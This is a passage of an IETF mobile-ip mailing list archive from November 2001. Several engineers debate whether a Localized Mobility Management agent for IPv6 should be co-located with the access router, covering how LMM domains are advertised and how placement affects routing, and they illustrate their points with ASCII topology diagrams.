	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS2aD1V009901
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 27 Nov 2001 18:36:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS2aDFE009900
	for mobile-ip-dist; Tue, 27 Nov 2001 18:36:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS2a91V009893
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 18:36:09 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA17283
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 18:36:11 -0800 (PST)
Received: from ALPHA8.CC.MONASH.EDU.AU (alpha8.cc.monash.edu.au [130.194.1.8])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA17639
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 27 Nov 2001 18:36:09 -0800 (PST)
Received: from kapow.its.monash.edu.au ([130.194.1.71])
 by vaxh.cc.monash.edu.au (PMDF V5.2-31 #39306)
 with ESMTP id <01KB8MAW43W48Y5BF2@vaxh.cc.monash.edu.au> for
 mobile-ip@sunroof.eng.sun.com; Wed, 28 Nov 2001 13:29:53 +1100
Received: from localhost (localhost [127.0.0.1])	by kapow.its.monash.edu.au
 (Postfix) with ESMTP	id 6532E20009; Wed, 28 Nov 2001 13:29:53 +1100 (EST)
Received: from eng.monash.edu.au (knuth.eng.monash.edu.au [130.194.137.189])
	by kapow.its.monash.edu.au (Postfix) with ESMTP	id 6513220005; Wed,
 28 Nov 2001 13:29:52 +1100 (EST)
Date: Wed, 28 Nov 2001 13:34:28 +1100
From: Greg Daley <greg.daley@eng.monash.edu.au>
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
To: Michael Thomas <mat@cisco.com>
Cc: mobile-ip@sunroof.eng.sun.com
Message-id: <3C044D34.190CA662@eng.monash.edu.au>
Organization: Monash University
MIME-version: 1.0
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.10mobile i686)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
X-Accept-Language: en
References: 
 <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com>
 <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com>
 <15356.18648.291849.518694@thomasm-u1.cisco.com>
 <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com>
 <3BFC5C48.ED2BCA05@cs.ucl.ac.uk>
 <15364.1118.275867.497327@thomasm-u1.cisco.com>
 <3C042BCD.F6D122EF@eng.monash.edu.au>
 <15364.15826.183203.704897@thomasm-u1.cisco.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7BIT

[answers below:]

Michael Thomas wrote:
> 
> Greg Daley writes:
>  >      I think that the issue of becoming an overlay network
>  >      is largely moot. (I.e. it is unlikely that LMM will become
>  >      an overlay, to any greater extent than MIPv6).
>  >
>  >      What is possibly useful is to make sure that the AR is
>  >      in charge of LMM discovery mechanisms, to ensure that
>  >      multiple agents aren't contending for the same access medium,
>  >      and so that the routing functions aren't re-implemented.
> 
> Well, this doesn't really address my concern which
> was what happens if the AR doesn't support LMM at
> all? It seems to me that the fate sharing is
> between the LMM and MN, and if there's isn't
> explicit linkage requiring AR/LMM to be colocated,
> then an LMM would need to have some means of
> advertising itself which is under *its* control.
> This is particularly important since we don't want
> to give point of attachment a stranglehold on the
> mobile node just by virtue of its being the point
> of attachment.

	Hi Mike,

	I understand what the problem is since we are dealing with 
	it ourselves.

	We have an old router which does IPv6 but doesn't support
	the advertised options which we require for our LMM solution
	(HMIPv6).

	In this case, the issue is specific to the Local Access Network,
	and thus by putting in our own advertising agent on the local
	network, we solve this problem.

	The same mechanism is used, but upgraded to include the advertised
	options, which could be expected from the AR. Since these are 
	link local Router Advertisements, there is no propagation
	for the capability across multiple L3 Access networks.  There is
	also no requirement to process this information from multiple
	remote sources.

	Therefore, the LMM compliant Mobile Node does not have to decide
	between which advertising mechanism to watch for or which received
	advertisement to choose between (in this simplistic situation).

	If the mobile node starts making those decisions based on the 
	externally advertised information (from possibly multiple sources),
	then that is a routing overlay, since it replicates routing function.

	I don't even mind that another entity than the Access Router (on the
	access network) takes these advertising functions on, so long as the
	end nodes aren't required to make choices based on advanced network
	knowledge or additional protocols, and the Advertising Agent can be
	left to tell them what LMM is available.

	Sorry that this was so long winded.
	I think we have two goals which aren't necessarily duelling with each
	other. It's just a matter of trying to find the best balance of words.

		Greg


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 03:22:50 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA26074
	for <mobileip-archive@lists.ietf.org>; Wed, 28 Nov 2001 03:22:50 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA23000;
	Wed, 28 Nov 2001 01:21:02 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA15335;
	Wed, 28 Nov 2001 00:21:07 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS8K31V010682
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:20:04 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS8K3UQ010681
	for mobile-ip-dist; Wed, 28 Nov 2001 00:20:03 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS8K01V010674
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:20:00 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA16804
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:20:00 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id BAA02999
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 01:19:59 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03533-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 08:19:28 +0000
Message-ID: <3C049E10.3BCEFBB4@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 08:19:28 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk> <15364.1118.275867.497327@thomasm-u1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

I believe that if you place the LMM agent anywhere else than the AR you
will eventually have suboptimal routing since it will need to go to

  that AR ------> LMM -----> that AR ------> MN

whereas you can have it

  to AR/LMM ----> MN

I anticipate that some border ANR would host the LMM within the domain
whereas the FMIP proto would need to be deployed at the last hop
wireless. Otherwise you end up having suboptimal second routing legs
beyond the border router. In that respect I cannot see how FMIP gets
mixed with LMM irrespective where the first is support or not.

Also how can a handoff be fast and also have suboptimal routing in
effect. It looks to me as if you are spinning your wheels to go away
from inertia...ie run fast for a handoff but run so fast to make it up
for the suboptimal route...I am not convinced that it sounds plausible
unless of course you have a commercial scenario in mind that I haven't
heard of yet..

Theo
UCL/Mobile Systems Group

Michael Thomas wrote:
> 
> Theo Pagtzis writes:
>  > hmm....
>  >
>  > IMHO we must keep the AR and LMM entities fused as one (tightly
>  > coupled). The reason is that if you don't do that you introduce
>  > immediately a routing overlay...on top of ARs..routing-wise I think this
>  > is going to be non-optimal
> 
> If you're talking about the FMIP case where you
> normally use it as a helper during the handoff,
> rather than a semi-permanent pivot point (as with
> HMIP), is the sub-optimality really the principle
> concern? When I'm handing off from one AR to
> another, it only matters that it's "fast enough"
> to achieve the desire results. Being colocated
> with the AR is probably the most optimal, but it
> seems questionable whether we should preclude the
> ability to place it elsewhere. For example,
> suppose that I roam into an AR that for whatever
> reason doesn't/won't support FMIP. Should I not
> have the ability to use something else which is
> good enough to achieve fast handovers even though
> it won't achieve least cost routing? Sounds like a
> plausible scenario to me, and keeps with the
> general internet philosophy of unbundling
> services.
> 
>                 Mike
> 
>  >
>  > "Jari T. Malinen" wrote:
>  > >
>  > > This reminds me that there was a question in the design team
>  > > on what the autoconfiguration in the text refers to. In addition
>  > > to setting up the capability advertisement in ARs, you say it also
>  > > encompasses the MN operation on recognizing the capability.  This
>  > > is clearer if there is also the text on LMM domain movement detection
>  > > as a separate item.
>  >
>  > yes perhaps we could accomodate such mention..it is not unreasonable
>  > especially for spare LMM deployment..
>  >
>  > >
>  > > Settling whether the AR/LMM domains are coupled/decoupled now may
>  > > indeed help evaluation but it also may lead to the kind of dispute
>  > > Mike was refering to: if we now say AR/LMM domains are the same or not,
>  > > we create the kind of assumption that later may get challenged.
>  > > To help evaluation when leaving it as a design space issue we may
>  > > consider a basic design principle of making protocols independent of
>  > > each other when possible.
>  >
>  > beware..(see top) because if you do them independent...you effectively
>  > talk about routing overlays..this is against aforementioned requirements
>  > in the LMM req draft.
>  >
>  >
>  > Theo
>  > UCL/Mobile Systems
>  >
>  > >
>  > > BR,
>  > >
>  > > -Jari
>  > >
>  > > Theo Pagtzis wrote:
>  > > >
>  > > > Hi Mike,
>  > > >
>  > > >   the issue of LMM detection pertains primarily on the established issue
>  > > > for (auto)configuration of the LMM..since they have to advertise their
>  > > > existence (or better LMM capability). Advertisment alone can effect one
>  > > > level of indirection (let's put it this way) in the 'detection'
>  > > > abstraction still at L3. How you do that is up to the LMM
>  > > > autoconfiguration protocol but it has indeed been addressed in the
>  > > > requirement space IMHO as the requirement for autoconfiguration...
>  > > >
>  > > > I would suggest we do not scratch this wound on this draft...there is _a
>  > > > lot of space for another_ a pointer for it already exists though..
>  > > >
>  > > > So by just a single capability flag I can solve (very crudely) and fuse
>  > > > the AR/LMM detection...the requirement is how to configure the thing to
>  > > > do that cooperatively with an AR/LMM population and has been addressed I
>  > > > am sure... (I wrote it.. :)
>  > > >
>  > > > Theo
>  > > > UCL/Mobile Systems
>  > > >
>  > > > Michael Thomas wrote:
>  > > > >
>  > > > > Jari T. Malinen writes:
>  > > > >  > For Mike: AR domain and LMM domain detection coupling/decoupling is
>  > > > >  > a design space issue, if the former is always available and can indicate
>  > > > >  > the presence of support for LMM, ok, it is just worth mentioning LMM domain
>  > > > >  > detection is an issue whether provided separately or by e.g. AR domain
>  > > > >  > detection.
>  > > > >
>  > > > >    Hmm. Putting it into design space makes it harder to
>  > > > >    evaluate solutions by comparing them to requirements.
>  > > > >    A somewhat similar argument erupted a while ago about
>  > > > >    the assumption that the AAA and HA were always in the
>  > > > >    same administrative realm. If we were drawing
>  > > > >    up requirements for that, I'd say that that would
>  > > > >    be a pretty important one to settle on. I'm
>  > > > >    somewhat concerned that this could be a similar
>  > > > >    case and that it would be better resolved in the
>  > > > >    requirements phase rather than 6 months into
>  > > > >    the design phase...
>  > > > >
>  > > > >               Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 03:34:54 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA26255
	for <mobileip-archive@lists.ietf.org>; Wed, 28 Nov 2001 03:34:53 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA29086;
	Wed, 28 Nov 2001 01:33:30 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA17700;
	Wed, 28 Nov 2001 00:33:39 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS8VG1V010848
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:31:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAS8VFDB010847
	for mobile-ip-dist; Wed, 28 Nov 2001 00:31:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS8VC1V010840
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:31:12 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA08858
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 00:31:12 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id BAA05848
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 01:31:11 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03868-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 08:31:09 +0000
Message-ID: <3C04A0CC.C4B05924@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 08:31:08 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: mat@cisco.com, kempf@docomolabs-usa.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <AF2378CBE7016247BC0FD5261F1EEB2109CED8@EXCHANGE01.domain.ecutel.com> <3BFC3CCA.8750CDB1@cs.ucl.ac.uk> <3BFC45D1.A8AEFE9A@iprg.nokia.com> <15356.18648.291849.518694@thomasm-u1.cisco.com> <3BFC4D16.AD4707AA@cs.ucl.ac.uk> <3BFC58DF.26C6BF80@iprg.nokia.com> <3BFC5C48.ED2BCA05@cs.ucl.ac.uk> <15364.1118.275867.497327@thomasm-u1.cisco.com> <3C042BCD.F6D122EF@eng.monash.edu.au> <03e801c177a2$38388500$0e02320a@T23KEMPF> <3C044578.16CCB356@eng.monash.edu.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Just a second...

  the primary function of an LMM agent function is to localise signaling
w.r.t. BUs as well as forward the traffic to the MN.

The advertising and dynamic discovery of one or more LMM is _not_ what
an LMM is characterized as such. That is to say that some agent that
advertises existence of an LMM is not an LMM agent by itself. I am
saying this because you seem to decouple the advertising function from
the core LMM function..while this is fine by me...since you want to
somewhat centralise reporting of LMM agents to the advertiser such that
you have better control of advertising.

However by no means is the advertiser an LMM agent...otherwise you have
elected a single LMM agent as advertiser, which if it goes does down so
goes for the advertising capability. In that light the advertiser is not
an LMM agent.

The fact that some announcer voices that the king is around does not
make the announcer a king.

Theo
UCL/Mobile Systems Group


Greg Daley wrote:
> 
> James Kempf wrote:
> >
> > I don't understand what you mean by LMM Mobility. My understanding is
> > that the only issue involved in movement detection is having the mobile
> > node determine when it has moved from one LMM agent coverage area to
> > another. But you seem to have something else in mind.
> >
> 
>         Hi James,
> 
>         It depends on how tight the coupling is.
>         I just don't want to get into a situation where the draft
>         says something like "The LMM Agent should be co-located with the AR"
> 
>         since there are at least two functions:
> 
> *       The advertising/dynamic discovery mechanism for the LMM domain
>         (which is intrinsically tied to a set of access networks)
> 
> *       The mobility management and signalling which may or may not be
> insensitive
>         to where the Mobile devices connect from.
> 
>         Maybe I'm just being reactionary, but since there are two functions,
>         I see two agents, apart from the mobile node.
> 
>                 Greg


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 07:19:23 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03039
	for <mobileip-archive@lists.ietf.org>; Wed, 28 Nov 2001 07:19:23 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA26984;
	Wed, 28 Nov 2001 05:18:06 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA10575;
	Wed, 28 Nov 2001 04:18:09 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCHG1V011508
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:17:16 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASCHFg4011507
	for mobile-ip-dist; Wed, 28 Nov 2001 04:17:15 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCHC1V011500
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:17:12 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA18380
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:17:13 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA16466
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:17:11 -0700 (MST)
Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fASCHAf00508
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 13:17:10 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Wed Nov 28 13:17:10 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2MFD4X>; Wed, 28 Nov 2001 13:08:57 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0C4@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Wed, 28 Nov 2001 13:16:50 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>


  > 
  > I believe that if you place the LMM agent anywhere else 
  > than the AR you
  > will eventually have suboptimal routing since it will need to go to
  > 
  >   that AR ------> LMM -----> that AR ------> MN
  > 

=> I don't really get that logic, it greatly depends on
where the CN is and the network topology. 

E.g :

                    CN
                     |
                     |
                    AR
                     |
                    some routers

                     |
                     |
                     LMM
                      |
                      | 
                     AR
                      |
                     MN

Where is the suboptimality here ? The packets
will traverse the LMM router anyway to get 
to the AR.

You can play around with the topology to get 
one that will add one hop or maybe two, to the
"optimal route" but I don't think that is a major
concern. You can also add 10 hops to the optimal
route but that would be strange network design
for someone trying to use an LMM agent. 

Similarily I can make the LMM in the AR look like 
a very suboptimal solution if the two ARs 
(between which the MN is moving) are not physically
connected and are topologically 'far'. 

So it's not as simple as saying that the LMM
in the AR is more optimal. Operators will have
to be careful how they place these agents. This 
will largely depend on their type of access network, 
mobility patterns ...etc.

Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 07:49:13 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04405
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 07:49:13 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA10415;
	Wed, 28 Nov 2001 05:47:54 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13677;
	Wed, 28 Nov 2001 04:48:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCl01V011700
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:47:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASCl01w011699
	for mobile-ip-dist; Wed, 28 Nov 2001 04:47:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCku1V011692
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:46:56 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13875
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:46:57 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id FAA23076
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:46:56 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23096-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 12:46:42 +0000
Message-ID: <3C04DCB2.D67B9E4D@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 12:46:42 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] LMM for IPv6 requirements-Movement detection
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0C4@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Hesham,

Perhaps I did not explain clearly. 

In your schematic you assume that the LMM is in fact an AR! This is fine
but not what Mike had in mind. Mike talked about _not_ co-locating the
LMM with an AR. However, an LMM has to be behind a link if not an AR
itself. Thus, the LMM in such case MUST be behind some AR. The schematic
becomes:



            CN
             |
             |
             AR
              |
              .
              .
              .
            Internet
              .
              .      1
              |      ->
   (domain)   ARb --------           <-------- decoupling of AR and LMM
such that LMM is behind
      |       |    <-    | | 2                 that AR (since not
co-located)            
      |       |     3   ^| v                   Routing suboptimality
goes for steps 1,2 and 3
      |       .          |                     as packets have to go
through that path
      v       .         LMM                    since they are forwarded
by the LMM to the MN !
              .
              |
              AR
              |
              |   
              MN 


Now take ARb and augment it to be ARb/LMM in one single box. At the same
time get rid of the individual LMM box; thus you get rid of 1,2,3.
Wouldn't that reason for colocation offering optimality in the routing
of packets sent by the LMM to the MN?


Theo 
UCL/Mobile Systems Group


"Hesham Soliman (ERA)" wrote:
> 
>   >
>   > I believe that if you place the LMM agent anywhere else
>   > than the AR you
>   > will eventually have suboptimal routing since it will need to go to
>   >
>   >   that AR ------> LMM -----> that AR ------> MN
>   >
> 
> => I don't really get that logic, it greatly depends on
> where the CN is and the network topology.
> 
> E.g :
> 
>                     CN
>                      |
>                      |
>                     AR
>                      |
>                     some routers
> 
>                      |
>                      |
>                      LMM
>                       |
>                       |
>                      AR
>                       |
>                      MN
> 
> Where is the suboptimality here ? The packets
> will traverse the LMM router anyway to get
> to the AR.
> 
> You can play around with the topology to get
> one that will add one hop or maybe two, to the
> "optimal route" but I don't think that is a major
> concern. You can also add 10 hops to the optimal
> route but that would be strange network design
> for someone trying to use an LMM agent.
> 
> Similarily I can make the LMM in the AR look like
> a very suboptimal solution if the two ARs
> (between which the MN is moving) are not physically
> connected and are topologically 'far'.
> 
> So it's not as simple as saying that the LMM
> in the AR is more optimal. Operators will have
> to be careful how they place these agents. This
> will largely depend on their type of access network,
> mobility patterns ...etc.
> 
> Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 07:58:13 2001
